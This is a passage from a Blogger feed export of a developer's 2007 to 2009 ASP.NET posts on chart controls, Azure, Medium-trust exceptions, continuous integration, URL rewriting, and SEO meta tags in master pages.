/>protected void obds_Selecting(object sender, ObjectDataSourceSelectingEventArgs e)<br />{<br /> if (!e.ExecutingSelectCount)<br /> {<br /> e.InputParameters["filter"] = ....;<br /> }<br /> else<br /> {<br /> e.InputParameters.Clear();<br /> }<br />}<br /></pre><br /><p>Let me know if you still have any issues i will try my best to answer it.</p><br /></span>Rahumanhttp://www.blogger.com/profile/01222479360415180681noreply@blogger.com0tag:blogger.com,1999:blog-428623601829508772.post-19220875129839417992008-12-04T20:04:00.001-08:002009-03-20T21:29:50.779-07:00New Charting Control from Microsoft for .net framework 3.5<p>Microsoft has recently released a ASP.NET charting control for .NET Framework 3.5 SP1.  The good thing about this control is, it is FREE.  Once installed it can be easily used as a Server control like any other Microsoft controls. It supports a wide variety of charts like, Pie, Area, Doughnut, Point, Range , Circular, Accumulation, Data Distribution, Price Change and Advanced Financial Charts. Once you install the working sample, you will get a feel of all above mentioned chart types. The sample project includes almost 200 pages with various chart types.</p> <p>As far as the data, either you can specify the data while declaring the control on the HTML or you can dynamically assign the data on the code behind using the data binding techniques.  At runtime charting engine renders the chart as a PNG image and it is referenced from the HTML using the <img> tag. If you want to make it interactive, use these chart control in combination with AJAX. You will also find some samples around the interactive charts using AJAX in the samples projects. </p> <p> </p> <p>You can use following links to learn and download,</p> <p><a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=130f7986-bf49-4fe5-9ca8-910ae6ea442c&DisplayLang=en" target="_blank">Download Microsoft Chart Controls(FREE)</a></p> <p><a href="http://code.msdn.microsoft.com/mschart/Release/ProjectReleases.aspx?ReleaseId=1591" target="_blank">Download Samples Environment for Microsoft Chart Controls</a></p> <p><a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=EE8F6F35-B087-4324-9DBA-6DD5E844FD9F&displaylang=en" target="_blank">Download the Chart Control Documentation</a></p> <p> </p> <p>If you have any question don't forget to visit the Chart Control Forum.</p> <p><a href="http://social.msdn.microsoft.com/Forums/en-US/MSWinWebChart/threads/" target="_blank">Visit the Chart Control Forum</a></p> <p> </p> <p>To give an idea of how these controls looks i have attached few snapshots from the samples project.</p> <p><a href="http://lh4.ggpht.com/_KG5zJqqvNd4/STioPas2SAI/AAAAAAAAAUM/E7va_MqzCpk/snap001%5B2%5D.jpg"><img style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="183" alt="Microsoft Free Bar Chart" src="http://lh5.ggpht.com/_KG5zJqqvNd4/STioPvFmnTI/AAAAAAAAAUU/17PAkjSrQmw/snap001_thumb.jpg" width="244" border="0" /></a> </p> <p> </p> <p><a href="http://lh6.ggpht.com/_KG5zJqqvNd4/STioQl1rW7I/AAAAAAAAAUY/HbE8dWRtdVU/snap002%5B2%5D.jpg"><img style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="183" alt="Microsoft Free Line Chart" src="http://lh3.ggpht.com/_KG5zJqqvNd4/STioQ9BziUI/AAAAAAAAAUc/_3Jm9Dz10C8/snap002_thumb.jpg" width="244" border="0" /></a> </p> <p><a href="http://lh5.ggpht.com/_KG5zJqqvNd4/STioR7RpTqI/AAAAAAAAAUg/ipfWjDOJDb0/snap003%5B3%5D.jpg" target="_blank"><img style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="183" alt="Microsoft Free Area Chart" src="http://lh5.ggpht.com/_KG5zJqqvNd4/STioSPTohEI/AAAAAAAAAUk/n23KZyNh2Wo/snap003_thumb%5B1%5D.jpg" width="244" border="0" /></a> </p> <p><a href="http://lh6.ggpht.com/_KG5zJqqvNd4/STioS9iGaII/AAAAAAAAAUo/Ag8kBSo9zLQ/snap004%5B4%5D.jpg"><img style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="183" alt="Microsoft Free Pie Chart Samples" src="http://lh6.ggpht.com/_KG5zJqqvNd4/STioTdMAcUI/AAAAAAAAAUs/t5ITQVe6Kd0/snap004_thumb%5B2%5D.jpg" width="244" border="0" /></a> </p> <p> </p> <p>Have Fun with the Free chart controls and Good luck.</p>Rahumanhttp://www.blogger.com/profile/01222479360415180681noreply@blogger.com0tag:blogger.com,1999:blog-428623601829508772.post-87159156078260425582008-11-04T07:08:00.001-08:002008-11-04T07:08:56.126-08:00Microsoft's Cloud Service - Azure<p>Microsoft has just released their version of cloud services like Amazon's S3, SimpleDB, Google's App Engine, etc...  called Azure Services Platform. It is still in beta. As per Microsoft Azure Services are available without charge during Community Technology Preview (CTP).</p> <p>To learn more go to Azure's site <a title="http://www.microsoft.com/azure/default.mspx" href="http://www.microsoft.com/azure/default.mspx">http://www.microsoft.com/azure/default.mspx</a></p> <p>To play with this new services download the corresponding SDK from <a title="http://www.microsoft.com/azure/sdk.mspx" href="http://www.microsoft.com/azure/sdk.mspx">http://www.microsoft.com/azure/sdk.mspx</a></p> <p> </p> <p>They also have a training kit available here  <a title="http://www.microsoft.com/azure/trainingkit.mspx" href="http://www.microsoft.com/azure/trainingkit.mspx">http://www.microsoft.com/azure/trainingkit.mspx</a></p> Rahumanhttp://www.blogger.com/profile/01222479360415180681noreply@blogger.com0tag:blogger.com,1999:blog-428623601829508772.post-71126310375122067112008-09-24T10:53:00.001-07:002009-03-20T21:30:11.933-07:00Google Chart API control for ASP.NET<p>If you want to use charts in your web application, you should spend some time with Google chart api's. Very simple to use.  I also found an open source project which implements the google chart api as ASP.NET server control.</p> <p>Here is the link to the Google chart API.</p> <p><a title="http://code.google.com/apis/chart/" href="http://code.google.com/apis/chart/">http://code.google.com/apis/chart/</a></p> <p> </p> <p>Here is the link to the ASP.NET Google Chart Control.</p> <p><a title="http://www.codeplex.com/GoogleChartNet" href="http://www.codeplex.com/GoogleChartNet">http://www.codeplex.com/GoogleChartNet</a></p> <p> </p> <p>I also found another interesting flash based open source chart project(OpenFlashChart) and here is the link to it,</p> <p><a title="http://teethgrinder.co.uk/open-flash-chart/" href="http://teethgrinder.co.uk/open-flash-chart/">http://teethgrinder.co.uk/open-flash-chart/</a></p>Rahumanhttp://www.blogger.com/profile/01222479360415180681noreply@blogger.com0tag:blogger.com,1999:blog-428623601829508772.post-68501006357237852382008-09-19T08:45:00.001-07:002009-03-20T22:08:06.114-07:00System.MethodAccessException - System.Data.Common.DataRecordInternal.get_Item(System.String)<p>Ever wondered what this exception is? I ran into this issue last week when i deployed my code in a shared hosting environment which was running in Medium trust. It was working fine on my local. After some research i found that this error was thrown by a Repeater control on a page whose datasource was a datareader. In a Medium trust environment, according to microsoft "Reflection is not allowed". Looks like when you assign a datareader to a repeater control internally it is doing some reflection which is causing this issue. Another strange behaviour with this error is it won't even tell you the exact error, instead it will be displaying something like this in a shared hosting,</p> <div class='codeview'>Security Exception<p>Description:</p><p>The application attempted to perform an operation not allowed by the security policy. To grant this application the required permission please contact your system administrator or change the application's trust level in the configuration file.</p><p> <br />Exception Details: System.Security.SecurityException: Request failed.</p></div><br /><p>So how will you reproduce this error locally, there is setting you can add it to your web.config</p><br /><div class='codeview'><system.web><br /> <trust level="Medium" /><br /></system.web></div><br /><p>So the workaround i have found for this issue is to use dataset instead on datareader. Let me know if you guys have found a different solution.</p>Rahumanhttp://www.blogger.com/profile/01222479360415180681noreply@blogger.com1tag:blogger.com,1999:blog-428623601829508772.post-37183691625295027442008-09-03T11:36:00.001-07:002009-03-20T21:49:47.193-07:00Continuous Integration<p>If you want to automate your build process then you are in the right spot. Continuous Integration is a process of automating the build process from various source control system. We have lot of free Continuous Integration servers in the market today. Here are few,</p><br /><p><a href="http://confluence.public.thoughtworks.org/display/CCNET/Welcome+to+CruiseControl.NET" target="_blank">CruiseControl.NET</a></p><p><a href="http://cifactory.org/joomla/" target="_blank">CI Factory</a></p><p><a href="http://www.jetbrains.com/teamcity/" target="_blank">Team City</a></p><br /><br /><p>My favorite is CI Factory. These CI servers can talk with variety of source control system like Visual Source Safe, Subversion, CVS, Vault and VSTS Version Control.</p><p>They also support various plugins like <strong>NCover</strong>(<em>Collects code coverage information</em>), <strong>nDepend</strong>(<em>Calculates code quality metrics</em>), <strong>Simian</strong> (<em>Detects copy and paste duplication</em>), <strong>NUnit</strong> (<strong> </strong><em>Unit testing</em>).</p>Rahumanhttp://www.blogger.com/profile/01222479360415180681noreply@blogger.com0tag:blogger.com,1999:blog-428623601829508772.post-79605107211814734502008-08-27T09:57:00.001-07:002009-03-20T21:31:59.863-07:00User friendly URL in ASP.NET and SEO Page Rank<p>When you submit your Sitemap to the popular search engines like Google,Yahoo and MSN, make sure that your URL's are user friendly and easy to remember. URLs that are long with tracking id's and session id's might reduce the chance of user selecting the URL. Google also reduces the page rank for URL's with multiple query string parameters. </p><p>So we need a way to rewrite the URL from,</p><p>For e.g: <a href="http://www.ezsmartads.com">www.ezsmartads.com/products/productlist.aspx?id=1&store=yes&cat=2&name=sem</a></p><p>to <a href="http://www.ezsmartads.com">www.ezsmartads.com/products/sem.aspx</a></p><p>With an open source library called <a href="http://urlrewriter.net/" target="_blank">URL Rewriter</a> you can achieve this in ASP.NET.</p><p>I will cover a sample in my next blog.</p>Rahumanhttp://www.blogger.com/profile/01222479360415180681noreply@blogger.com1tag:blogger.com,1999:blog-428623601829508772.post-41642592911646247702008-08-20T07:56:00.001-07:002012-03-11T17:55:53.007-07:00How to get current node's depth from a Sitemap in ASP.NET2.0?<p>If you are using treecontrol or menucontrol in ASP.NET 2.0, you can achieve this easily using the built in property. </p> <p>While i was working on a custom navigation tree control, i wanted to get the depth of the current node from the root. By default ASP.NET 2.0 does not have a property to get the depth. So i wrote a neat little recursion which will calculate the depth for you.</p> <br /><pre name="code" class="brush:vb"><br />Private Function GetDepth(ByVal current As SiteMapNode) As Integer<br /> If(Not current.ParentNode Is Nothing) Then<br /> Return GetDepth(current.ParentNode) + 1<br /> Else<br /> Return 1<br /> End If<br />End Function<br /></pre>Rahumanhttp://www.blogger.com/profile/01222479360415180681noreply@blogger.com0tag:blogger.com,1999:blog-428623601829508772.post-37656923053756754192008-08-17T09:53:00.001-07:002012-03-11T18:00:06.332-07:00ASP.NET - Master pages and Search Engine Optimization:<p>We all know that asp.net have simplified our life with the introduction of master pages. but what about the Search engine optimization?</p><p>How do we handle that. Here are few tips for you to make your asp.net site Search engine friendly.. </p><p><strong>1. TITLE tags.<br /></strong> First important factor that affects your Page rank is your page's title. If you use the title tag on the master page and ignore the title attribute on child page's PAGE directive, Google bot will think all your pages are same and it will either reduce your page rank or will ignore it.</p><p><br />So always use the Child page's TITLE Attribute. There are multiple ways you can archive this, </p><p><strong>1. From ASPX Page:</strong></p><p><strong>VB.NET :</strong></p><br /><pre name="code" class="brush:vb"><br /><%@ Page Language="VB" MasterPageFile="~/Default.master" AutoEventWireup="false"<br /> CodeFile="Default.aspx.vb" Inherits="ezSmartAds.Home" Title="Website Promotion -Improve ROI" %><br /></pre><br /><strong>C# :</strong><br /><pre name="code" class="brush:csharp"><br />protected void Page_Load(object sender, System.EventArgs e) <br />{ <br /> this.Page.Title = "Website Promotion -Improve ROI"; <br />}<br /></pre><br /><p><strong>VB.NET:</strong> </p><br /><pre name="code" class="brush:vb"><br />Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) <br /> Me.Page.Title = "Website Promotion -Improve ROI"\<br />End Sub<br /></pre><br /><p><strong>2. META Tags:</strong></p><br /><p> Second important factor is your Meta tags. When users search's on a search engine, Meta description is the one which encourages your users to click on your site.</p><br /><br /><p>Here is the explanation from Google on Meta Description: </p><br /><blockquote>"Differentiate the descriptions for different pages. Using identical or similar descriptions on every page of a site isn't very helpful when individual pages appear in the web results. In these cases we're less likely to display the boilerplate text. Wherever possible, create descriptions that accurately describe the specific page. Use site-level descriptions on the main home page or other aggregation pages, and use page-level descriptions everywhere else. If you don't have time to create a description for every single page, try to prioritize your content: At the very least, create a description for the critical URLs like your home page and popular pages." </blockquote><br /><p>Here is the sample code to add meta tags from code behind.<br /><p><strong>From Code behind:</strong><br /><p><strong>VB.NET :</strong><br /><pre name="code" class="brush:vb"><br />Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load<br /> Dim metaTagAuthor As HtmlMeta = New HtmlMeta<br /> Dim metaTagKeywords As HtmlMeta = New HtmlMeta<br /> Dim metaTagDescription As HtmlMeta = New HtmlMeta<br /> metaTagAuthor.Name = "Author"<br /> metaTagAuthor.Content = "Your Name" 'Add your name here<br /> metaTagKeywords.Name = "Keywords"<br /> metaTagKeywords.Content = "" 'Add all your keywords here<br /> metaTagDescription.Name = "Description"<br /> metaTagDescription.Content = "" 'Add you webpage's description here<br /> Me.Page.Header.Controls.Add(metaTagAuthor)<br /> Me.Page.Header.Controls.Add(metaTagKeywords)<br /> Me.Page.Header.Controls.Add(metaTagDescription)<br />End Sub<br /></pre><br /><br /><p><strong>C#:</strong></p><br /><pre name="code" class="brush:csharp"><br />protected void Page_Load(object sender, System.EventArgs e) <br />{ <br /> HtmlMeta metaTagAuthor = new HtmlMeta(); <br /> HtmlMeta metaTagKeywords = new HtmlMeta(); <br /> HtmlMeta metaTagDescription = new HtmlMeta(); <br /> metaTagAuthor.Name = "Author"; <br /> metaTagAuthor.Content = "Your Name"; //Add your name here <br /> metaTagKeywords.Name = "Keywords"; <br /> metaTagKeywords.Content = ""; //Add all your keywords here <br /> metaTagDescription.Name = "Description"; <br /> metaTagDescription.Content = "";//Add you webpage's description here <br /> this.Page.Header.Controls.Add(metaTagKeywords);<br /> this.Page.Header.Controls.Add(metaTagDescription); <br />}<br /></pre><br /><p>Hope you find this article useful. I have implemented the same for one of our websites <a href="http://www.ezsmartads.com/"><strong>www.ezsmartads.com</strong></a></p><br /><p><strong></strong> </p><br /><p>Thanks!</p>Rahumanhttp://www.blogger.com/profile/01222479360415180681noreply@blogger.com2tag:blogger.com,1999:blog-428623601829508772.post-34113767740047819292007-03-12T20:04:00.000-07:002007-03-12T20:08:00.550-07:00Provider Independent Dataaccess using ADO.NET 2.0Found this interesting article on provider independent dataaccess using ADO.NET 2.0<br /><br /><a href="http://channel9.msdn.com/Showpost.aspx?postid=132226">http://channel9.msdn.com/Showpost.aspx?postid=132226</a>Rahumanhttp://www.blogger.com/profile/01222479360415180681noreply@blogger.com0